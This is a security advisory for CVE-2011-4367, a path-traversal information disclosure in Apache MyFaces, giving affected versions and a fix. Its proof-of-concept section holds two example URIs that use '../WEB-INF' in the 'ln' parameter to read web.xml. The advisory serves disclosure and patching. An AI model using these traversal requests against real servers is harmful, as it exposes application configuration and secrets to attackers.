Apache MyFaces 'ln' Parameter Information Disclosure Vulnerability

BID:51939

Info

Apache MyFaces 'ln' Parameter Information Disclosure Vulnerability

Bugtraq ID: 51939
Class: Design Error
CVE: CVE-2011-4367
Remote: Yes
Local: No
Published: Feb 09 2012 12:00AM
Updated: Feb 09 2012 12:00AM
Credit: Paul Nicolucci
Vulnerable:
Not Vulnerable:

Discussion

Apache MyFaces 'ln' Parameter Information Disclosure Vulnerability

Apache MyFaces is prone to a remote information-disclosure vulnerability.

Remote attackers can exploit this issue to obtain sensitive information that may aid in further attacks.

The following versions are affected:

Apache MyFaces 2.0.1 through 2.0.11
Apache MyFaces 2.1.0 through 2.1.5

Exploit / POC

Apache MyFaces 'ln' Parameter Information Disclosure Vulnerability

The following example URIs are available:

http://www.example.com/faces/javax.faces.resource/web.xml?ln=../WEB-INF
http://www.example.com/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF

Solution / Fix

Apache MyFaces 'ln' Parameter Information Disclosure Vulnerability

Solution:
Updates are available. Please see the references for more information.

References

Apache MyFaces 'ln' Parameter Information Disclosure Vulnerability

References:
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